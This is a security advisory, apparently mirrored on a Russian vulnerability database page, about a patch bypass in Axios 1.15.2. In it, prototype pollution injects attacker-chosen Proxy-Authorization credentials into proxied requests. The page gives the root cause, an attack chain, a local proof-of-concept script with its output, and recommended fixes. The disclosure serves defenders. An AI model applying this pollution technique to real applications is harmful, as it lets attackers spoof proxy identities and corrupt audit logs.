GHSA-654m-c8p4-x5fp

Опубликовано: 29 мая 2026

Источник: github

Github: Прошло ревью

CVSS3: 3.7

Описание

Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix

[Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2

Summary

The Object.create(null) fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the top-level config object from prototype pollution. However, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain.

The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request.

Severity: Medium (CVSS 5.4) Affected Versions: 1.15.2 (and potentially 1.15.1) Vulnerable Component: lib/adapters/http.js (setProxy()) + lib/utils.js (merge())

CWE

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

CVSS 3.1

Score: 5.6 (Medium)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

Metric	Value	Justification
Attack Vector	Network	PP triggered remotely via vulnerable dependency
Attack Complexity	High	Requires two preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure `config.proxy`. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Within the proxy authentication context
Confidentiality	Low	Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike `config.baseURL` hijack)
Integrity	Low	Proxy-Authorization header injected; proxy may apply different access policies based on injected identity
Availability	Low	If proxy rejects the injected credentials, legitimate requests may fail

Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)

Factor	GHSA-q8qp-cvcw-x6jj	This Finding
Precondition	None — all requests affected	Must have `config.proxy` set
`config.baseURL` PP	Hijacks all relative URL requests	Not applicable
`config.auth` PP	Injects `Authorization` to target server	Only injects `Proxy-Authorization` to proxy
Attacker sees traffic	Yes (via baseURL redirect)	No — only proxy identity affected
Impact scope	Universal — every axios request	Only requests with explicit proxy config

This Is a Patch Bypass

This vulnerability bypasses the fix introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses Object.create(null) for the config object, blocking direct prototype pollution on config.proxy, config.auth, etc.

However, the fix is incomplete: when a user legitimately sets config.proxy = { host: 'proxy.corp', port: 8080 }, the mergeConfig() function passes this object through utils.merge(), which creates a new plain {} object (lib/utils.js:406: const result = {};). This new object inherits from Object.prototype, re-opening the prototype pollution attack surface on the nested proxy object.

Layer	Protection	Status
`config` (top-level)	`Object.create(null)`	✓ Fixed
`config.proxy` (nested)	`utils.merge()` → `const result = {}`	✗ NOT Fixed
`setProxy()` reads	`proxy.username`, `proxy.auth` without `hasOwnProperty`	✗ NOT Fixed

Root Cause Analysis

Step 1: `utils.merge()` creates plain `{}` for nested objects

File: lib/utils.js, line 406

function merge(/* obj1, obj2, obj3, ... */) { const result = {}; // ← Plain object with Object.prototype! // ... }

When mergeConfig() processes config.proxy, getMergedValue() calls utils.merge(), which creates a plain {} for the nested object. This plain object inherits from Object.prototype.

Step 2: `setProxy()` reads proxy properties without `hasOwnProperty`

File: lib/adapters/http.js, lines 209-223

Complete Attack Chain

Object.prototype.username = 'attacker' Object.prototype.password = 'stolen-creds' │ ▼ User config: { proxy: { host: 'proxy.corp', port: 8080 } } │ ▼ mergeConfig() → utils.merge() → new plain {} config.proxy = { host: 'proxy.corp', port: 8080 } (own properties) config.proxy inherits from Object.prototype (has .username, .password) │ ▼ setProxy() at http.js:209: proxy.username → 'attacker' (from Object.prototype) → truthy! proxy.auth = 'attacker' + ':' + 'stolen-creds' │ ▼ http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz Injected into EVERY proxied HTTP request!

Proof of Concept

import http from 'http'; import axios from './index.js'; // Proxy server logs received Proxy-Authorization const proxyServer = http.createServer((req, res) => { console.log('Proxy-Authorization:', req.headers['proxy-authorization']); res.writeHead(200); res.end('OK'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port; // Target server const target = http.createServer((req, res) => { res.writeHead(200); res.end(); }); await new Promise(r => target.listen(0, r)); // Simulate prototype pollution from vulnerable dependency Object.prototype.username = 'attacker'; Object.prototype.password = 'stolen-creds'; // Developer sets proxy WITHOUT auth — expects no auth header await axios.get(`http://127.0.0.1:${target.address().port}/api`, { proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' }, }); // Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz // Decoded: attacker:stolen-creds delete Object.prototype.username; delete Object.prototype.password; proxyServer.close(); target.close();

Reproduction Environment

Axios version: 1.15.2 (latest patched release) Node.js version: v20.20.2 OS: macOS Darwin 25.4.0

Reproduction Steps

# 1. Install axios 1.15.2 npm pack axios@1.15.2 tar xzf axios-1.15.2.tgz && mv package axios-1.15.2 cd axios-1.15.2 && npm install # 2. Save PoC as poc.mjs (code from Section 7 above) # 3. Run node poc.mjs

Verified PoC Output

=== Axios 1.15.2: PP → Proxy-Authorization Injection === [1] Normal request with proxy (no auth): Proxy-Authorization: none [2] Prototype Pollution: Object.prototype.username = "attacker" Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz Decoded: attacker:stolen-creds → PP injected proxy credentials: attacker:stolen-creds [3] Impact: ✗ Attacker injects Proxy-Authorization into all proxied requests ✗ If proxy logs auth, attacker credential appears in proxy logs ✗ If proxy authenticates based on this, attacker controls proxy identity ✗ Works on 1.15.2 despite null-prototype config fix ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype

Confirming the Bypass Mechanism

Direct PP (config.proxy) — BLOCKED by 1.15.2: Object.prototype.proxy = { host: 'evil' } config.proxy = undefined ← null-prototype blocks ✓ Nested PP (proxy.username) — BYPASSES 1.15.2: Object.prototype.username = 'attacker' config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties config.proxy own keys: ['host', 'port'] ← username NOT own config.proxy.username = 'attacker' ← inherited from Object.prototype! hasOwn(config.proxy, 'username') = false

## Impact Analysis - **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity. - **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation. - **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain. - **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments. ### Prerequisite - Application must use `config.proxy` (explicit proxy configuration) - A separate prototype pollution vulnerability must exist in the dependency tree - `Object.prototype.username` or `Object.prototype.auth` must be polluted ## Recommended Fix ### Fix 1: Use `hasOwnProperty` in `setProxy()` ```javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // ... if (proxy) { const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key); if (hasOwn(proxy, 'username')) { proxy.auth = (proxy.username || '') + ':' + (proxy.password || ''); } if (hasOwn(proxy, 'auth')) { // ... existing auth handling ... } } }

Fix 2: Use null-prototype objects in `utils.merge()`

// lib/utils.js line 406 function merge(/* obj1, obj2, obj3, ... */) { const result = Object.create(null); // ← null-prototype for nested objects too // ... }

Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()`

References

Ссылки

Пакеты

Наименование

axios

npm

Затронутые версииВерсия исправления

= 1.15.2

1.16.0

EPSS

Процентиль: 14%

0.00228

Низкий

3.7 Low

CVSS3

CVE ID

CVE-2026-44489

Дефекты

CWE-113

CWE-1321

Связанные уязвимости

CVE-2026-44489

CVSS3: 3.7

ubuntu

около 2 месяцев назад

Axios is a promise based HTTP client for the browser and Node.js. From 1.15.2 to before 1.16.0, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain. The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request. This vulnerability is fixed in 1.16.0.

CVE-2026-44489

CVSS3: 3.7

redhat

около 2 месяцев назад

CVE-2026-44489

CVSS3: 3.7

nvd

около 2 месяцев назад

CVE-2026-44489

CVSS3: 3.7

debian

около 2 месяцев назад

Axios is a promise based HTTP client for the browser and Node.js. From ...

EPSS

Процентиль: 14%

0.00228

Низкий

3.7 Low

CVSS3

CVE ID

CVE-2026-44489

Дефекты

CWE-113

CWE-1321

GHSA-654m-c8p4-x5fp

Описание

[Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2

Summary

CWE

CVSS 3.1

Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)

This Is a Patch Bypass

Root Cause Analysis

Step 1: utils.merge() creates plain {} for nested objects

Step 2: setProxy() reads proxy properties without hasOwnProperty

Complete Attack Chain

Proof of Concept

Reproduction Environment

Reproduction Steps

Verified PoC Output

Confirming the Bypass Mechanism

Fix 2: Use null-prototype objects in utils.merge()

Fix 3 (Comprehensive): Apply null-prototype to all objects created by getMergedValue()

References

Ссылки

Пакеты

CVE ID

Дефекты

Связанные уязвимости

CVE ID

Дефекты

Step 1: `utils.merge()` creates plain `{}` for nested objects

Step 2: `setProxy()` reads proxy properties without `hasOwnProperty`

Fix 2: Use null-prototype objects in `utils.merge()`

Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()`